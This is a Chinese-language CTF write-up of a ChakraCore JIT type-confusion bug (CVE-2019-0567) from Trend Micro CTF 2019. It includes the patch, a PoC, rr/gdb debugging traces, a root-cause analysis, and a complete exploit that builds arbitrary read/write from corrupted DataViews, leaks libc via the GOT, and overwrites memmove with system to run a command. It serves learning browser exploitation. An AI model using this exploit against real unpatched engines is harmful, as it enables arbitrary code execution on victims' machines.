最近一直想学浏览器的漏洞,但找不到一个比较合适的例子,恰巧这一次看到了Trend Micro CTF 2019的Exploit 400,觉得很适合作为一个学习的例子,于是就开始了浏览器入门之旅。

Patch

对Chakra打的patch如下:

diff --git a/lib/Backend/GlobOptFields.cpp b/lib/Backend/GlobOptFields.cpp
index 88bf72d32..6fcb61151 100644
--- a/lib/Backend/GlobOptFields.cpp
+++ b/lib/Backend/GlobOptFields.cpp
@@ -564,7 +564,7 @@ GlobOpt::ProcessFieldKills(IR::Instr *instr, BVSparse<JitArenaAllocator> *bv, bo
         break;

     case Js::OpCode::InitClass:
-    case Js::OpCode::InitProto:
+    //case Js::OpCode::InitProto:
     case Js::OpCode::NewScObjectNoCtor:
     case Js::OpCode::NewScObjectNoCtorFull:
         if (inGlobOpt)

本来以为这道题是根据已有的0day的灵感自己加的patch,后来发现居然直接就是之前公开的0 day,Poc都有了😓。来自Google Project ZerolokihardCVE-2019-0567,相关的Issue 见这个链接

Commit ID

788f17b0ce06ea84553b123c174d1ff7052112a0

Commit Message

CVE-2019-0539, CVE-2019-0567 Edge - Chakra: JIT: Type confusion via NewScObjectNoCtor or InitProto - Google, Inc.

PoC

因为给的可执行文件没有调试信息,手动编译了一个debug版本的,带符号🤔

# 克隆项目
$ git clone https://github.com/microsoft/ChakraCore.git
$ cd ChakraCore

# 打上ctf的patch
$ patch -p1 < patch.diff

# 编译chakra
$ ./build.sh --static --debug -j=4

lokihard给的poc:

function opt(o, proto, value) {
    o.b = 1;

    let tmp = {__proto__: proto}; //🤔

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};

    opt(o, o, 0x1234); //🤔

    print(o.a);
}

main();

相应的crash为

(gdb) r poc.js
Thread 1 "ch" received signal SIGSEGV, Segmentation fault.
0x0000555556676096 in Js::DynamicTypeHandler::GetSlot (this=0x7ff7f427a000,
    instance=0x7ff7f4279260, index=0)
    at /home/pwn-orz/work/ChakraCore/lib/Runtime/Types/TypeHandler.cpp:95
95	            Var value = instance->auxSlots[index - inlineSlotCapacity];

(gdb) p instance->auxSlots
$1 = {ptr = 0x1000000001234} //🤔

通过查看GlobOpt生成的IR,我们注意到,o.b = 1的赋值操作处,有对o的type进行校验,但在o.a的地方则没有,这意味这JIT引擎认为let tmp = {__proto__: proto};不会修改o的type。

$ ./ch poc.js -Dump:GlobOpt
-----------------------------------------------------------------------------
************   IR after GlobOpt (FullJit)  ************
-----------------------------------------------------------------------------
Function opt ( (#1.1), #2)                        Instr Count:19

                       FunctionEntry                                          #

BLOCK 0: Out(1)

$L2:                                                                          #
    s5<s17>[LikelyCanBeTaggedValue_Object].var = ArgIn_A  prm2<40>[LikelyCanBeTaggedValue_Object].var! #
    s6[LikelyCanBeTaggedValue_Object].var = ArgIn_A  prm3<48>[LikelyCanBeTaggedValue_Object].var! #
    s7[LikelyCanBeTaggedValue_Object].var = ArgIn_A  prm4<56>[LikelyCanBeTaggedValue_Object].var! #


  Line   2: o.b = 1;
  Col    5: ^
                       StatementBoundary  #0                                  #0002
                       BailOnNotObject  s5<s17>[LikelyCanBeTaggedValue_Object].var #0002  Bailout: #0002 (BailOutOnTaggedValue)
    s14(s5<s17>[LikelyObject]->b)<0,m,++,s17,s19,{b(0),a(1)}>[CanBeTaggedValue_Int].var! = StFld  0x1000000000001.var #0002  Bailout: #0002 (BailOutFailedEquivalentTypeCheck)


  Line   4: let tmp = {__proto__: proto};
  Col    5: ^
                       StatementBoundary  #1                                  #0006
    s9[UninitializedObject].var = NewScObjectLiteral  0 (0x0).u32, 0 (0x0).u32 #0006
    s15(s9[UninitializedObject]->__proto__).var! = InitProto  s6[LikelyCanBeTaggedValue_Object].var! #0013  Bailout: #001a (BailOutOnImplicitCalls)


  Line   6: o.a = value;
  Col    5: ^
                       StatementBoundary  #2                                  #001d
    s16(s5<s17>[LikelyObject]->a)<1,m,++,s17+m!,s18>[LikelyCanBeTaggedValue_Object].var! = StFld  s7[LikelyCanBeTaggedValue_Object].var! #001d
    s0[Undefined].var = Ld_A          0xXXXXXXXX (undefined)[Undefined].var   #0021


  Line   7: }
  Col    1: ^
                       StatementBoundary  #3                                  #0023
                       StatementBoundary  #-1                                 #0023
                       Ret            s0[Undefined].var!                      #0023

BLOCK 1: In(0)

$L1:                                                                          #
                       FunctionExit                                           #

调试

我们使用支持反向执行的rr来调试

$ rr record ./ch poc.js

重放执行路径

$ rr replay
# 程序暂停在入口处

gef> c

程序断在崩溃出, 我们查看对象o的内存布局,发现o.a赋值改写了auxSlots,原本的一个指针被覆盖为了0x1234

gef➤  x/4gx instance
0x7f04c3be9260:	0x000055c089dfe940	0x00007f04c3be8d80
0x7f04c3be9270:	0x0001000000001234	0x0000000000000000
gef➤  p *instance
$3 = {
  <Js::RecyclableObject> = {
    <FinalizableObject> = {
      <IRecyclerVisitedObject> = {
        _vptr$IRecyclerVisitedObject = 0x55c089dfe940 <vtable for Js::DynamicObject+16>
      }, <No data fields>},
    members of Js::RecyclableObject:
    type = {
      ptr = 0x7f04c3be8d80
    }
  },
  members of Js::DynamicObject:
  auxSlots = {
    ptr = 0x1000000001234 //🤔,auxSlots已经被改写为0x1234
  },
  {
    objectArray = {
      ptr = 0x0
    },
    {
      arrayFlags = Js::DynamicObjectFlags::None,
      arrayCallSiteIndex = 0x0
    }
  }
}
gef➤  tel instance
0x00007f04c3be9260│+0x0000: 0x000055c089dfe9400x000055c088dd8680  →  <Js::DynamicObject::Finalize(bool)+0> push rbp
0x00007f04c3be9268│+0x0008: 0x00007f04c3be8d800x000000000000001c
0x00007f04c3be9270│+0x0010: 0x0001000000001234
0x00007f04c3be9278│+0x0018: 0x0000000000000000
0x00007f04c3be9280│+0x0020: 0x0001000000000001
0x00007f04c3be9288│+0x0028: 0x0001000000000001
0x00007f04c3be9290│+0x0030: 0x0000000000000000
0x00007f04c3be9298│+0x0038: 0x0000000000000000
0x00007f04c3be92a0│+0x0040: 0x0000000000000000
0x00007f04c3be92a8│+0x0048: 0x0000000000000000

由于是Type Confusion类型的漏洞,意味着type改变,我们通过设置内存断点并反向执行,来查找instance对象的type改变的地方

gef➤  watch -l instance.type
Hardware watchpoint 1: -location instance.type
gef> reverse-continue

触发了内存断点,我们发现尽管type指针改变,但是structure ID相同

Old value = {
  ptr = 0x7f04c3be8d80
}
New value = {
  ptr = 0x7f04c3be8d40
}

gef➤  x/wx 0x7f04c3be8d80
0x7f04c3be8d80:	0x0000001c
gef➤  x/wx 0x7f04c3be8d40
0x7f04c3be8d40:	0x0000001c
[#0] 0x55c08895d604 → Memory::WriteBarrierPtr<Js::Type>::NoWriteBarrierSet(this=0x7f04c3be9268, ptr=0x7f04c3be8d80)
[#1] 0x55c08895d5dd → Memory::WriteBarrierPtr<Js::Type>::WriteBarrierSet(this=0x7f04c3be9268, ptr=0x7f04c3be8d80)
[#2] 0x55c08895d57f → Memory::WriteBarrierPtr<Js::Type>::operator=(this=0x7f04c3be9268, ptr=0x7f04c3be8d80)
[#3] 0x55c088dd63cb → Js::DynamicObject::ChangeType(this=0x7f04c3be9260)
[#4] 0x55c088e47603 → Js::SimpleDictionaryTypeHandlerBase<unsigned short, Js::PropertyRecord const*, false>::SetIsPrototype(this=0x7f04c3bea000, instance=0x7f04c3be9260, hasNewType=0x0)
[#5] 0x55c088e19c83 → Js::SimpleDictionaryTypeHandlerBase<unsigned short, Js::PropertyRecord const*, false>::SetIsPrototype(this=0x7f04c3bea000, instance=0x7f04c3be9260)
[#6] 0x55c088df852a → Js::PathTypeHandlerBase::SetIsPrototype(this=0x7f04c809d580, instance=0x7f04c3be9260)
[#7] 0x55c088dd6f3c → Js::DynamicObject::SetIsPrototype(this=0x7f04c3be9260)
[#8] 0x55c088e0e642 → Js::RecyclableObject::SetIsPrototype(this=0x7f04c3be9260)
[#9] 0x55c088ddbcf1 → Js::DynamicObject::SetPrototype(this=0x7f04c3be6fc0, newPrototype=0x7f04c3be9260)

解读一下上面的backtrace,在frame #9

[#9] 0x55c088ddbcf1 → Js::DynamicObject::SetPrototype(this=0x7f04c3be6fc0, newPrototype=0x7f04c3be9260)

this指向tmp对象,newProtoType指向o对象,而在frame #3中,我们发现:

[#3] 0x55c088dd63cb → Js::DynamicObject::ChangeType(this=0x7f04c3be9260)

ChangeType的对象的指针居然是o,这意味着,设置__proto__调用了SetProtoType(如果进一步bt,会看到调用源头是Js::JavascriptOperators::OP_InitProto),这个操作最终居然改变了源操作数otype🤔。

function opt(o, proto, value) {
    o.b = 1; //type check
    let tmp = {__proto__: proto}; //🤔
    o.a = value; // JIT 认为type不会改变,没有type check
}

通过查看源代码,我们发现对源操作对象的类型改写发生在这里:

    template <typename TPropertyIndex, typename TMapKey, bool IsNotExtensibleSupported>
    void SimpleDictionaryTypeHandlerBase<TPropertyIndex, TMapKey, IsNotExtensibleSupported>::SetIsPrototype(DynamicObject* instance, bool hasNewType)
    {
    //省略部分代码
            if (!hasNewType && ChangeTypeOnProto())
            {
                // We're about to split out the type.  If the original type was shared the handler better be shared as well.
                // Otherwise, the handler would lose track of being shared between different types and instances.
                Assert(!instance->HasSharedType() || instance->GetDynamicType()->GetTypeHandler()->GetIsShared());
                // Forcing a type transition allows us to fix all fields (even those that were previously marked as non-fixed).
                instance->ChangeType();
                Assert(!instance->HasSharedType());
                hasNewType = true;
            }
    //省略部分代码
    }

那么问题来了,既然改变了otype,旧的和新的type又分别是什么呢,如何找到

    void DynamicObject::ChangeType()
    {
        // Allocation won't throw any more, otherwise we should use AutoDisableInterrupt to guard here
        AutoDisableInterrupt autoDisableInterrupt(this->GetScriptContext()->GetThreadContext());

        Assert(!GetDynamicType()->GetIsShared() || GetTypeHandler()->GetIsShared());
        this->type = this->DuplicateType();
        autoDisableInterrupt.Completed();
    }

    DynamicType* DynamicObject::DuplicateType()
    {
        return RecyclerNew(GetRecycler(), DynamicType, this->GetDynamicType());
    }

#define RecyclerNew(recycler,T,...) AllocatorNewBase(Recycler, recycler, AllocInlined/*🤔*/, T, __VA_ARGS__)

同时注意到这样一处注释

        // Memory layout of DynamicObject can be one of the following:
        //        (#1)                (#2)                (#3)
        //  +--------------+    +--------------+    +--------------+
        //  | vtable, etc. |    | vtable, etc. |    | vtable, etc. |
        //  |--------------|    |--------------|    |--------------|
        //  | auxSlots     |    | auxSlots     |    | inline slots |
        //  | union        |    | union        |    |              |
        //  +--------------+    |--------------|    |              |
        //                      | inline slots |    |              |
        //                      +--------------+    +--------------+
        // The allocation size of inline slots is variable and dependent on profile data for the
        // object. The offset of the inline slots is managed by DynamicTypeHandler.
        // More details for the layout scenarios below.

对auxSlots下内存断点并反向执行反,即可得到

[#0] 0x55c08835fbd4 → Memory::WriteBarrierPtr<Memory::WriteBarrierPtr<void> >::NoWriteBarrierSet(this=0x7f04c3be9270, ptr=0x7f04c3be9280)
[#1] 0x55c08835fbad → Memory::WriteBarrierPtr<Memory::WriteBarrierPtr<void> >::WriteBarrierSet(this=0x7f04c3be9270, ptr=0x7f04c3be9280)
[#2] 0x55c08835fb6f → Memory::WriteBarrierPtr<Memory::WriteBarrierPtr<void> >::operator=(this=0x7f04c3be9270, ptr=0x7f04c3be9280)
[#3] 0x55c088ef0152Js::DynamicTypeHandler::AdjustSlots(object=0x7f04c3be9260, newInlineSlotCapacity=0x0, newAuxSlotCapacity=0x4)
[#4] 0x55c088dd478dJs::DynamicObject::DeoptimizeObjectHeaderInlining(this=0x7f04c3be9260) //🤔🤔🤔
[#5] 0x55c088e06b3f → Js::PathTypeHandlerBase::ConvertToSimpleDictionaryType<Js::SimpleDictionaryTypeHandlerBase<unsigned short, Js::PropertyRecord const*, false> >(this=0x7f04c809d580, instance=0x7f04c3be9260, propertyCapacity=0x2, mayBecomeShared=0x0)
[#6] 0x55c088e02b5f → Js::PathTypeHandlerBase::TryConvertToSimpleDictionaryType<Js::SimpleDictionaryTypeHandlerBase<unsigned short, Js::PropertyRecord const*, false> >(this=0x7f04c809d580, instance=0x7f04c3be9260, propertyCapacity=0x2, mayBecomeShared=0x0)
[#7] 0x55c088dfea32Js::PathTypeHandlerBase::TryConvertToSimpleDictionaryType(this=0x7f04c809d580, instance=0x7f04c3be9260, propertyCapacity=0x2, mayBecomeShared=0x0)
[#8] 0x55c088df8301Js::PathTypeHandlerBase::SetIsPrototype(this=0x7f04c809d580, instance=0x7f04c3be9260)
[#9] 0x55c088dd6f3cJs::DynamicObject::SetIsPrototype(this=0x7f04c3be9260)

这意味着o的内存布局从#3变为了#2

gef➤  frame  12
#12 0x000055c088c7354d in Js::JavascriptObject::ChangePrototype (object=0x7f04c3be6fc0, newPrototype=0x7f04c3be9260, shouldThrow=0x0, scriptContext=0x55c08a96c048) at /home/pwn-orz/work/ChakraCore/lib/Runtime/Library/JavascriptObject.cpp:303
303	    object->SetPrototype(newPrototype);
gef➤  p newPrototype
$17 = (Js::RecyclableObject *) 0x7f04c3be9260
gef➤  p *newPrototype
$18 = {
  <FinalizableObject> = {
    <IRecyclerVisitedObject> = {
      _vptr$IRecyclerVisitedObject = 0x55c089dfe940 <vtable for Js::DynamicObject+16>
    }, <No data fields>},
  members of Js::RecyclableObject:
  type = {
    ptr = 0x7f04c809d5c0
  }
}
gef➤  x newPrototype
0x7f04c3be9260:	0x89dfe940
gef➤  tel newPrototype
0x00007f04c3be9260│+0x0000: 0x000055c089dfe9400x000055c088dd8680  →  <Js::DynamicObject::Finalize(bool)+0> push rbp	 ← $r14, $r15
0x00007f04c3be9268│+0x0008: 0x00007f04c809d5c00x000000800000001c
0x00007f04c3be9270│+0x0010: 0x00007f04c3be92800x0001000000000001	 ← $rsi //field: auxSlots
0x00007f04c3be9278│+0x0018: 0x0001000000000001
0x00007f04c3be9280│+0x0020: 0x0001000000000001	 ← $rdi //auxSlots
0x00007f04c3be9288│+0x0028: 0x0001000000000001
0x00007f04c3be9290│+0x0030: 0x0000000000000000
0x00007f04c3be9298│+0x0038: 0x0000000000000000
0x00007f04c3be92a0│+0x0040: 0x0000000000000000
0x00007f04c3be92a8│+0x0048: 0x0000000000000000

利用

参考了这篇博客

obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;

dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));

BASE = 0x100000000;

function hex(x) {
    return "0x" + x.toString(16);
}

function opt(o, c, value) {
    o.b = 1;

    let temp = {__proto__: c};

    o.a = value;
}

function main() {
    for (let i = 0; i < 2000; i++) {
        let o = {a: 1, b: 2};
        opt(o, {}, {});
    }

    let o = {a: 1, b: 2};
  
    opt(o, o, obj); // o->auxSlots = obj (Step 1)

    /* 
      chqmatteo: so we set o.c but it can be any name you want, 
      it's just the third property of o
      so it will get written to o->auxSlots[2]
      similary obj.h is the 8th property of obj so we will write to obj->auxSlots[7]
      and buffer is at that offset
     */
    o.c = dv1; // obj->auxSlots = dv1 (Step 2)
    obj.h = dv2; // dv1->buffer = dv2 (Step 3)
    

此时内存布局如下:

      o                        obj
+--------------+   +--->+---------------------+
|    vtable    |   |    |       vtable        | 
+--------------+   |    +---------------------+
|     type     |   |    |        type         |          dv1 
+--------------+   |    +---------------------+     +----------+
|   auxSlots   +---+    |      auxSlots       | --- |          |
+--------------+        +---------------------+     +----------+
|  objectArray |        |     objectArray     |     |    ...   |
+--------------+        +- - - - - - - - - - -+     +----------+
                                         +0x07 ==>  |  buffer  +---> dv2
                                                    +----------+
                       

其中dv1dv2的内存布局如下

+--------------------------+  0x00
|         vtable           |
+--------------------------+  0x8
|          type            |
+--------------------------+  0x10
|         auxSlots         |
+--------------------------+  0x18
|        objectArray       |
+--------------------------+  0x20
|         length           |
+--------------------------+  0x28
|        arrayBuffer       |
+--------------------------+  0x30
|         byteOffset       |
+--------------------------+ 0x38
|          buffer          |
+--------------------------+ 0x40

此时,dv1.buffer可以为我们控制的任何内容,基于其构造任意读写语句,但是由于只能给obj.x赋值uint32。通过向dv1.buffer + 0x38处写两次uint32数据,则可以控制dv2.buffer为任意64bit地址。

    let read64 = function(addr_lo, addr_hi) {
        // dv2->buffer = addr (Step 4)
        // chqmatteo: 0x38 = 7 * 8, we are writing at ((void*)dv1->buffer)[7] which is dv2->buffer
        dv1.setUint32(0x38, addr_lo, true);
        dv1.setUint32(0x3C, addr_hi, true);
        
        // read from addr (Step 5)
        return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
    }
    let read3232 = function(addr_lo, addr_hi) {
        // dv2->buffer = addr (Step 4)
        dv1.setUint32(0x38, addr_lo, true);
        dv1.setUint32(0x3C, addr_hi, true);
        
        // read from addr (Step 5)
        return [dv2.getInt32(0, true), dv2.getInt32(4, true)];
    }
    
    let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
        // dv2->buffer = addr (Step 4)
        dv1.setUint32(0x38, addr_lo, true);
        dv1.setUint32(0x3C, addr_hi, true);
        
        // write to addr (Step 5)
        dv2.setInt32(0, value_lo, true);
        dv2.setInt32(4, value_hi, true);
    }

通过读取dv1.buffer的前8 bytes获取虚函数表的地址,获取ALSR偏移

    // chqmatteo: the first value of the object is the pointer to the vtable
    vtable_lo = dv1.getUint32(0, true);
    vtable_hi = dv1.getUint32(4, true);
    print(hex(vtable_lo + vtable_hi * BASE));
    
    // chqmatteo: demonstrate arbitrary read
    print(hex(read64(vtable_lo, vtable_hi)));

这篇文章提到

Looked for got in the writeup and found that you can trigger memmove with some_array.set(other_array)

The nice thing of memmove is that the first argument is a string and is the destination buffer of the memory move, so we can control the first argument of system So I overwrote the corresponding entry in got with the address of system.

通过泄漏的偏移可以计算出got的地址,将memmove的地址改写为了system函数的地址,并将要执行的命令放在了ef.buffer中,ef.set(ab)触发memmove从而执行shellcode

   // compute some useful offsets, just try them all until it works    
    let gdb_base = 0xc3a52000; // libChakraCore.so base addr in gdb
    
    let vptr_off = 0xc48566e0 - gdb_base;
    let chackra_base_lo = vtable_lo - vptr_off;
    
    let malloc_got = 0xc48a56e0 - gdb_base;
    // write targets
    let free_got = 0xc48a5128 - gdb_base
    let memmove = free_got - 0x128 + 0x108
    let memset = free_got - 0x128 + 0x248
        
    let one_gadget = 0x4f440; // actually it's system because the one gadgets that I tried didn't work
    
    print(hex(chackra_base_lo + vtable_hi * BASE));
    print('malloc and free')
    // get libc offsets to find libc version
    print(hex(read64(chackra_base_lo + malloc_got, vtable_hi)));
    print(hex(read64(chackra_base_lo + free_got, vtable_hi)));

    // read got to get libc base addr
    let libc = read3232(chackra_base_lo + free_got, vtable_hi);
    let free_off = 0x8dbce950 - 0x8db37000 // lost the gdb session so new base addr
    let libc_low = libc[0] - free_off;
    let libc_high = libc[1];
    print(hex(libc_low + libc_high * BASE))
    print('Writing on got');

    write64(chackra_base_lo + memmove, vtable_hi, libc_low + one_gadget, libc_high);
    // write64(chackra_base_lo + memset, vtable_hi, libc_low + one_gadget, libc_high);
    print('there');

    // just a random size and name, you can put different values if you want
    let ab = new Uint8Array(0x1020);
    let ef = new Uint8Array(0x1020);
    let cmd = 'cat flag'
    for (let i = 0; i < 1000; i++) {
        ab[i] = 100 - i;
        ef[i] = cmd.charCodeAt(i);
    }
    ef[cmd.length] = 0;

    // easier to spot in the debugger
    ab[0] = 0x41
    ab[1] = 0x41
    ab[2] = 0x41
    ab[3] = 0x41
    ab[4] = 0;

    // triggers memmove when copying ef.buffer <- ab.buffer
    ef.set(ab);

    // write on *0x0, crash the binary, poor man's breakpoint
    write64(0x0, 0x0, libc_low + one_gadget, libc_high);

}

main();

参考文章

  1. https://bugs.chromium.org/p/project-zero/issues/detail?id=1702
  2. https://rr-project.org/
  3. https://github.com/bkth/Attacking-Edge-Through-the-JavaScript-Compiler
  4. https://fahrplan.events.ccc.de/congress/2018/Fahrplan/system/event_attachments/attachments/000/003/735/original/From_Zero_to_Zero_Day.pdf
  5. https://theromanxpl0it.github.io/articles/2019/09/09/Trend-Micro-CTF-ChakraCore-JIT-exploitation.html
  6. https://perception-point.io/resources/research/cve-2019-0539-root-cause-analysis/
  7. https://perception-point.io/resources/research/cve-2019-0539-exploitation/